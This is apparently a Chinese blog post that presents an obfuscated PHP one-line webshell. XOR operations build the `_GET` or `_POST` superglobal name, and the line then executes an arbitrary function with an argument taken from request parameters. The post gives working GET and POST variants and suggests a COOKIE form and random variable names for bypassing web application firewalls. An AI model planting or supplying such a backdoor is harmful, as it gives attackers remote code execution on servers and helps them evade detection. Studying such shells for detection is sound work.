有趣的PHP一句话
今天看到如下图所示的PHP一句话,觉得挺有意思。
代码如下:
1 | <?=~ $_ = '$<>/' ^ '{{{{' ; echo $_ ;@${ $_ }[_](@${ $_ }[__]);?> |
效果图:
看下图注释应该就可以一目了然了,就是根据异或运算得到$_=’_GET’。
如果想换成POST方法,则可变化如下。
1 | <?=~ $_ = '$+4(/' ^ '{{{{{' ;@${ $_ }[_](@${ $_ }[__]);?> |
效果图:
换成COOKIE方法,则可变化如下,用于bypass waf更有用吧。这只是一种思路,这个句子还可以有很多种变形,比如随机变量名。
引用:
https://www.php.net/manual/zh/language.operators.bitwise.php
http://asciima.com/
转载请注明出处。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~